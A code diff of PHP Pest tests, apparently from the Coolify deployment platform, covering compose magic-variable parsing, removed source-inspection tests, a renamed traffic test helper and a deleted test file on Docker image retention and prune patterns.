||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('magic variable references do not overwrite direct template declarations on initial parse', function () {
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Backend references the port-specific variable via magic syntax
|
||||
$template = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- SERVICE_FQDN_APP_3000
|
||||
ports:
|
||||
- "3000:3000"
|
||||
worker:
|
||||
image: node:20-alpine
|
||||
environment:
|
||||
- API_URL=${SERVICE_URL_APP_3000}
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'test-service',
|
||||
'docker_compose_raw' => $template,
|
||||
]);
|
||||
|
||||
ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'app',
|
||||
'fqdn' => null,
|
||||
]);
|
||||
|
||||
// Parse the service
|
||||
$service->parse();
|
||||
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first();
|
||||
|
||||
// Port-specific vars should have port as a URL port suffix (:3000),
|
||||
// NOT baked into the subdomain (app-3000-uuid.sslip.io)
|
||||
expect($portUrl)->not->toBeNull();
|
||||
expect($portFqdn)->not->toBeNull();
|
||||
expect($portUrl->value)->toContain(':3000');
|
||||
// The domain should NOT have 3000 in the subdomain
|
||||
$urlWithoutPort = str($portUrl->value)->before(':3000')->value();
|
||||
expect($urlWithoutPort)->not->toContain('3000');
|
||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('parsers.php uses firstOrCreate for magic variable references', function () {
|
||||
$parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php'));
|
||||
|
||||
// Find the magic variables section (Section 2) which processes ${SERVICE_*} references
|
||||
// It should use firstOrCreate, not updateOrCreate, to avoid overwriting values
|
||||
// set by direct template declarations (Section 1) or updateCompose()
|
||||
|
||||
// Look for the specific pattern: the magic variables section creates FQDN and URL pairs
|
||||
// after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments
|
||||
|
||||
// Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach)
|
||||
$magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0');
|
||||
expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist');
|
||||
|
||||
$magicSection = substr($parsersFile, $magicSectionStart, 5000);
|
||||
|
||||
// Count updateOrCreate vs firstOrCreate in the magic section
|
||||
$updateOrCreateCount = substr_count($magicSection, 'updateOrCreate');
|
||||
$firstOrCreateCount = substr_count($magicSection, 'firstOrCreate');
|
||||
|
||||
// Magic section should use firstOrCreate for SERVICE_URL/FQDN variables
|
||||
expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs')
|
||||
->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables');
|
||||
});
|
||||
@@ -13,19 +13,6 @@ it('does not key nested Livewire components by mutable list positions', function
|
||||
->not->toContain('wire:key="{{ $fileName }}-{{ $loop->index }}"');
|
||||
});
|
||||
|
||||
it('saves reindexed PostgreSQL scripts by their original stable identity', function () {
|
||||
$editor = file_get_contents(app_path('Livewire/Project/Database/InitScript.php'));
|
||||
$parent = file_get_contents(app_path('Livewire/Project/Database/Postgresql/General.php'));
|
||||
|
||||
expect($editor)
|
||||
->toContain('public string $originalFilename;')
|
||||
->toContain("dispatch('save_init_script', \$this->script, \$this->originalFilename)");
|
||||
|
||||
expect($parent)
|
||||
->toContain('public function save_init_script($script, string $originalFilename)')
|
||||
->toContain("firstWhere('filename', \$originalFilename)");
|
||||
});
|
||||
|
||||
it('keeps editable and refreshed list row keys independent of their positions', function () {
|
||||
$applicationDomains = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php'));
|
||||
$serviceDomains = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));
|
||||
|
||||
@@ -165,12 +165,6 @@ it('marks interrupted database and service start activities as failed on startup
|
||||
->and(data_get($unrelatedRunningProcess->refresh(), 'properties.status'))->toBe(ProcessStatus::IN_PROGRESS->value);
|
||||
});
|
||||
|
||||
it('runs the interrupted start cleanup from app:init', function () {
|
||||
$source = file_get_contents(app_path('Console/Commands/Init.php'));
|
||||
|
||||
expect($source)->toContain('ResourceStartActivity::failInterrupted()');
|
||||
});
|
||||
|
||||
it('marks interrupted database imports as failed on startup and leaves other operations alone', function () {
|
||||
$queuedImport = startActivity($this->database->uuid, ProcessStatus::QUEUED, 'database_import');
|
||||
$runningImport = startActivity((string) Str::uuid(), ProcessStatus::IN_PROGRESS, 'database_import');
|
||||
|
||||
@@ -77,13 +77,6 @@ it('generates a compose file that passes the database files to the image', funct
|
||||
->and($service['volumes'])->toBe(['sqlite-data-'.$this->database->uuid.':/var/lib/sqlite']);
|
||||
});
|
||||
|
||||
it('backs up with a read-only VACUUM INTO snapshot instead of a SQL dump', function () {
|
||||
expect(file_get_contents(app_path('Jobs/DatabaseBackupJob.php')))
|
||||
->toContain('sqlite3 -readonly')
|
||||
->toContain('VACUUM INTO')
|
||||
->not->toContain('.dump');
|
||||
});
|
||||
|
||||
it('restores a gzipped backup with .restore into the first database file', function () {
|
||||
$command = app(DatabaseImportCommandBuilder::class)->buildRestoreCommand($this->database, '/tmp/restore_1', false);
|
||||
|
||||
|
||||
@@ -96,7 +96,7 @@ beforeEach(function () {
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function makeComposeApplication(): Application
|
||||
function makeTrafficComposeApplication(): Application
|
||||
{
|
||||
return Application::factory()->create([
|
||||
'name' => 'Compose Shop',
|
||||
@@ -260,7 +260,7 @@ it('merges overviews, paths, breakdowns, and series of several keys', function (
|
||||
});
|
||||
|
||||
it('shows a compose application with the data of all its compose service keys', function () {
|
||||
$application = makeComposeApplication();
|
||||
$application = makeTrafficComposeApplication();
|
||||
$apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api');
|
||||
$webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web');
|
||||
|
||||
@@ -287,7 +287,7 @@ it('shows a compose application with the data of all its compose service keys',
|
||||
});
|
||||
|
||||
it('sums every compose key in the application traffic card', function () {
|
||||
$application = makeComposeApplication();
|
||||
$application = makeTrafficComposeApplication();
|
||||
$apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api');
|
||||
$webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web');
|
||||
|
||||
@@ -303,7 +303,7 @@ it('sums every compose key in the application traffic card', function () {
|
||||
});
|
||||
|
||||
it('groups compose keys of one application into one leaderboard row', function () {
|
||||
$application = makeComposeApplication();
|
||||
$application = makeTrafficComposeApplication();
|
||||
$apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api');
|
||||
$webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web');
|
||||
|
||||
|
||||
@@ -15,23 +15,3 @@ it('keeps v5 prototypes outside executable application paths', function () {
|
||||
->and(file_exists(base_path('routes/v5.php')))->toBeFalse()
|
||||
->and(file_exists(config_path('v5.php')))->toBeFalse();
|
||||
});
|
||||
|
||||
it('archives the previous v5 migrations and ui as documentation', function () {
|
||||
expect(glob(base_path('docs/v5/migrations/*.php.txt')))->toHaveCount(15)
|
||||
->and(glob(base_path('docs/v5/ui/resources/js/v5/**/*.txt')))->not->toBeEmpty()
|
||||
->and(file_exists(base_path('docs/v5/ui/resources/views/v5/app.blade.php.txt')))->toBeTrue()
|
||||
->and(file_exists(base_path('docs/v5/archive/app/Support/V5/V5Feature.php.txt')))->toBeTrue()
|
||||
->and(file_exists(base_path('docs/v5/archive/routes/v5.php.txt')))->toBeTrue()
|
||||
->and(file_exists(base_path('docs/v5/archive/tests/v5/Browser/DashboardSmokeTest.php.txt')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('documents removed v5 packages and the v4 animation dependency', function () {
|
||||
$packageDocumentation = file_get_contents(base_path('docs/v5/package.md'));
|
||||
|
||||
expect($packageDocumentation)
|
||||
->toContain('`inertiajs/inertia-laravel`')
|
||||
->toContain('`react`')
|
||||
->toContain('`@vitejs/plugin-react`')
|
||||
->toContain('`tw-animate-css`')
|
||||
->toContain('must not be removed');
|
||||
});
|
||||
|
||||
@@ -55,15 +55,6 @@ it('types service backup S3 storage state as a nullable Eloquent collection', fu
|
||||
->and($property->getDefaultValue())->toBeNull();
|
||||
});
|
||||
|
||||
it('provides the volume backup domain classes and relationship', function () {
|
||||
expect(class_exists(ScheduledVolumeBackup::class))->toBeTrue()
|
||||
->and(class_exists(ScheduledVolumeBackupExecution::class))->toBeTrue()
|
||||
->and(class_exists(VolumeBackupJob::class))->toBeTrue()
|
||||
->and(class_exists(VolumeBackups::class))->toBeTrue()
|
||||
->and(method_exists(LocalPersistentVolume::class, 'scheduledBackups'))->toBeTrue()
|
||||
->and(method_exists(LocalFileVolume::class, 'scheduledBackups'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows large volume backups to run for ten hours by default', function () {
|
||||
$backup = new ScheduledVolumeBackup;
|
||||
$job = new VolumeBackupJob($backup);
|
||||
@@ -672,16 +663,6 @@ it('records the S3 storage used by each volume backup execution', function () {
|
||||
->and((new ScheduledVolumeBackupExecution)->s3())->not->toBeNull();
|
||||
});
|
||||
|
||||
it('exposes actions to manage and run volume backups', function () {
|
||||
expect(method_exists(VolumeBackups::class, 'save'))->toBeTrue()
|
||||
->and(method_exists(VolumeBackups::class, 'backupNow'))->toBeTrue()
|
||||
->and(method_exists(VolumeBackups::class, 'toggleEnabled'))->toBeTrue()
|
||||
->and(method_exists(VolumeBackups::class, 'delete'))->toBeTrue()
|
||||
->and(method_exists(VolumeBackups::class, 'cleanupFailed'))->toBeTrue()
|
||||
->and(method_exists(VolumeBackups::class, 'cleanupDeleted'))->toBeTrue()
|
||||
->and(method_exists(VolumeBackups::class, 'deleteBackup'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('declares the volume backup action return types', function () {
|
||||
$backupNowReturnType = (new ReflectionMethod(VolumeBackups::class, 'backupNow'))->getReturnType();
|
||||
$deleteReturnType = (new ReflectionMethod(VolumeBackups::class, 'delete'))->getReturnType();
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@ use Tests\TestCase;
|
||||
| need to change it using the "uses()" function to bind a different classes or traits.
|
||||
|
|
||||
*/
|
||||
uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser', 'v5/Browser');
|
||||
uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser');
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
|
||||
@@ -1,458 +0,0 @@
|
||||
<?php
|
||||
|
||||
beforeEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('categorizes images correctly into PR, build, and regular images', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
|
||||
['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:pr-123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'pr-456', 'created_at' => '2024-01-04', 'image_ref' => 'app-uuid:pr-456'],
|
||||
['repository' => 'app-uuid', 'tag' => 'abc123-build', 'created_at' => '2024-01-05', 'image_ref' => 'app-uuid:abc123-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'def456-build', 'created_at' => '2024-01-06', 'image_ref' => 'app-uuid:def456-build'],
|
||||
]);
|
||||
|
||||
// PR images (tags starting with 'pr-')
|
||||
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
|
||||
expect($prImages)->toHaveCount(2);
|
||||
expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
|
||||
|
||||
// Build images (tags ending with '-build', excluding PR builds)
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
expect($buildImages)->toHaveCount(2);
|
||||
expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build');
|
||||
|
||||
// Regular images (neither PR nor build) - these are subject to retention policy
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
expect($regularImages)->toHaveCount(2);
|
||||
expect($regularImages->pluck('tag')->toArray())->toContain('abc123', 'def456');
|
||||
});
|
||||
|
||||
it('filters out currently running image from deletion candidates', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
|
||||
['repository' => 'app-uuid', 'tag' => 'ghi789', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:ghi789'],
|
||||
]);
|
||||
|
||||
$currentTag = 'def456';
|
||||
|
||||
$deletionCandidates = $images->filter(fn ($image) => $image['tag'] !== $currentTag);
|
||||
|
||||
expect($deletionCandidates)->toHaveCount(2);
|
||||
expect($deletionCandidates->pluck('tag')->toArray())->not->toContain('def456');
|
||||
expect($deletionCandidates->pluck('tag')->toArray())->toContain('abc123', 'ghi789');
|
||||
});
|
||||
|
||||
it('keeps the correct number of images based on docker_images_to_keep setting', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit5';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
// Filter out current, sort by date descending, keep N
|
||||
$sortedImages = $images
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$imagesToDelete = $sortedImages->skip($imagesToKeep);
|
||||
|
||||
// Should delete commit1, commit2 (oldest 2 after keeping 2 newest: commit4, commit3)
|
||||
expect($imagesToDelete)->toHaveCount(2);
|
||||
expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2');
|
||||
});
|
||||
|
||||
it('deletes all images when docker_images_to_keep is 0', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit3';
|
||||
$imagesToKeep = 0;
|
||||
|
||||
$sortedImages = $images
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$imagesToDelete = $sortedImages->skip($imagesToKeep);
|
||||
|
||||
// Should delete all images except the currently running one
|
||||
expect($imagesToDelete)->toHaveCount(2);
|
||||
expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2');
|
||||
});
|
||||
|
||||
it('does not delete any images when there are fewer than images_to_keep', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit2';
|
||||
$imagesToKeep = 5;
|
||||
|
||||
$sortedImages = $images
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$imagesToDelete = $sortedImages->skip($imagesToKeep);
|
||||
|
||||
// Should not delete anything - we have fewer images than the keep limit
|
||||
expect($imagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
|
||||
it('handles images with custom registry names', function () {
|
||||
// Test that the logic works regardless of repository name format
|
||||
$images = collect([
|
||||
['repository' => 'registry.example.com/my-app', 'tag' => 'v1.0.0', 'created_at' => '2024-01-01', 'image_ref' => 'registry.example.com/my-app:v1.0.0'],
|
||||
['repository' => 'registry.example.com/my-app', 'tag' => 'v1.1.0', 'created_at' => '2024-01-02', 'image_ref' => 'registry.example.com/my-app:v1.1.0'],
|
||||
['repository' => 'registry.example.com/my-app', 'tag' => 'pr-99', 'created_at' => '2024-01-03', 'image_ref' => 'registry.example.com/my-app:pr-99'],
|
||||
]);
|
||||
|
||||
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
expect($prImages)->toHaveCount(1);
|
||||
expect($regularImages)->toHaveCount(2);
|
||||
});
|
||||
|
||||
it('correctly identifies PR build images as PR images', function () {
|
||||
// PR build images have tags like 'pr-123-build'
|
||||
// They are identified as PR images (start with 'pr-') and will be deleted
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:pr-123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'pr-123-build', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:pr-123-build'],
|
||||
]);
|
||||
|
||||
// PR images include both pr-123 and pr-123-build (both start with 'pr-')
|
||||
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
|
||||
|
||||
expect($prImages)->toHaveCount(2);
|
||||
});
|
||||
|
||||
it('defaults to keeping 2 images when setting is null', function () {
|
||||
$defaultValue = 2;
|
||||
|
||||
// Simulate the null coalescing behavior
|
||||
$dockerImagesToKeep = null ?? $defaultValue;
|
||||
|
||||
expect($dockerImagesToKeep)->toBe(2);
|
||||
});
|
||||
|
||||
it('does not delete images when count equals images_to_keep', function () {
|
||||
// Scenario: User has 3 images, 1 is running, 2 remain, keep limit is 2
|
||||
// Expected: No images should be deleted
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit3'; // This is running
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$sortedImages = $images
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// After filtering out running image, we have 2 images
|
||||
expect($sortedImages)->toHaveCount(2);
|
||||
|
||||
$imagesToDelete = $sortedImages->skip($imagesToKeep);
|
||||
|
||||
// Skip 2, leaving 0 to delete
|
||||
expect($imagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
|
||||
it('handles scenario where no container is running', function () {
|
||||
// Scenario: 2 images exist, none running, keep limit is 2
|
||||
// Expected: No images should be deleted (keep all 2)
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
]);
|
||||
|
||||
$currentTag = ''; // No container running, empty tag
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$sortedImages = $images
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// All images remain since none match the empty current tag
|
||||
expect($sortedImages)->toHaveCount(2);
|
||||
|
||||
$imagesToDelete = $sortedImages->skip($imagesToKeep);
|
||||
|
||||
// Skip 2, leaving 0 to delete
|
||||
expect($imagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
|
||||
it('handles Docker Compose service images with uuid_servicename pattern', function () {
|
||||
// Docker Compose with build: directive creates images like uuid_servicename:tag
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid_web', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_web:commit1'],
|
||||
['repository' => 'app-uuid_web', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_web:commit2'],
|
||||
['repository' => 'app-uuid_worker', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_worker:commit1'],
|
||||
['repository' => 'app-uuid_worker', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_worker:commit2'],
|
||||
]);
|
||||
|
||||
// All images should be categorized as regular images (not PR, not build)
|
||||
$prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
expect($prImages)->toHaveCount(0);
|
||||
expect($regularImages)->toHaveCount(4);
|
||||
});
|
||||
|
||||
it('correctly excludes Docker Compose images from general prune', function () {
|
||||
// Test the grep pattern that excludes application images
|
||||
// Pattern should match both uuid:tag and uuid_servicename:tag
|
||||
$appUuid = 'abc123def456';
|
||||
$excludePattern = preg_quote($appUuid, '/');
|
||||
|
||||
// Images that should be EXCLUDED (protected)
|
||||
$protectedImages = [
|
||||
"{$appUuid}:commit1", // Standard app image
|
||||
"{$appUuid}_web:commit1", // Docker Compose service
|
||||
"{$appUuid}_worker:commit2", // Docker Compose service
|
||||
];
|
||||
|
||||
// Images that should be INCLUDED (deleted)
|
||||
$deletableImages = [
|
||||
'other-app:latest',
|
||||
'nginx:alpine',
|
||||
'postgres:15',
|
||||
];
|
||||
|
||||
// Test the regex pattern used in buildImagePruneCommand
|
||||
$pattern = "/^({$excludePattern})[_:].+/";
|
||||
|
||||
foreach ($protectedImages as $image) {
|
||||
expect(preg_match($pattern, $image))->toBe(1, "Image {$image} should be protected");
|
||||
}
|
||||
|
||||
foreach ($deletableImages as $image) {
|
||||
expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should be deletable");
|
||||
}
|
||||
});
|
||||
|
||||
it('excludes current version of the Coolify helper image from any registry', function () {
|
||||
$helperVersion = '1.0.12';
|
||||
|
||||
$escapedHelperVersion = preg_quote($helperVersion, '/');
|
||||
$infraPattern = "(^|/)coollabsio/coolify-helper:{$escapedHelperVersion}$";
|
||||
$pattern = "#{$infraPattern}#";
|
||||
|
||||
$protectedImages = [
|
||||
"ghcr.io/coollabsio/coolify-helper:{$helperVersion}",
|
||||
"docker.io/coollabsio/coolify-helper:{$helperVersion}",
|
||||
"coollabsio/coolify-helper:{$helperVersion}",
|
||||
];
|
||||
|
||||
foreach ($protectedImages as $image) {
|
||||
expect(preg_match($pattern, $image))->toBe(1, "Current infrastructure image {$image} should be protected");
|
||||
}
|
||||
|
||||
$oldVersionImages = [
|
||||
'ghcr.io/coollabsio/coolify-helper:1.0.11',
|
||||
'docker.io/coollabsio/coolify-helper:1.0.10',
|
||||
'coollabsio/coolify-helper:1.0.9',
|
||||
'ghcr.io/coollabsio/coolify-helper:latest',
|
||||
];
|
||||
|
||||
foreach ($oldVersionImages as $image) {
|
||||
expect(preg_match($pattern, $image))->toBe(0, "Old infrastructure image {$image} should NOT be protected");
|
||||
}
|
||||
|
||||
$deletableImages = [
|
||||
'nginx:alpine',
|
||||
'postgres:15',
|
||||
'redis:7',
|
||||
'mysql:8.0',
|
||||
'node:20',
|
||||
];
|
||||
|
||||
foreach ($deletableImages as $image) {
|
||||
expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should NOT be protected");
|
||||
}
|
||||
});
|
||||
|
||||
it('protects current helper image from any registry even when no applications exist', function () {
|
||||
$helperVersion = '1.0.12';
|
||||
|
||||
$escapedHelperVersion = preg_quote($helperVersion, '/');
|
||||
$infraPattern = "(^|/)coollabsio/coolify-helper:{$escapedHelperVersion}$";
|
||||
$pattern = "#{$infraPattern}#";
|
||||
|
||||
expect(preg_match($pattern, "ghcr.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
|
||||
expect(preg_match($pattern, "docker.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
|
||||
expect(preg_match($pattern, "coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
|
||||
|
||||
expect(preg_match($pattern, 'ghcr.io/coollabsio/coolify-helper:1.0.11'))->toBe(0);
|
||||
expect(preg_match($pattern, 'docker.io/coollabsio/coolify-helper:1.0.11'))->toBe(0);
|
||||
expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
|
||||
});
|
||||
|
||||
it('deletes build images not matching retained regular images', function () {
|
||||
// Simulates the Nixpacks scenario from issue #8765:
|
||||
// Many -build images accumulate because they were excluded from both cleanup paths
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit5';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// Determine kept tags: current + N newest rollback
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
// Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback)
|
||||
expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3');
|
||||
|
||||
// Build images to delete: those whose base tag is NOT in keptTags
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Should delete commit1-build and commit2-build (their base tags are not kept)
|
||||
expect($buildImagesToDelete)->toHaveCount(2);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build');
|
||||
|
||||
// Should keep commit3-build, commit4-build, commit5-build (matching retained images)
|
||||
$buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return $keptTags->contains($baseTag);
|
||||
});
|
||||
expect($buildImagesToKeep)->toHaveCount(3);
|
||||
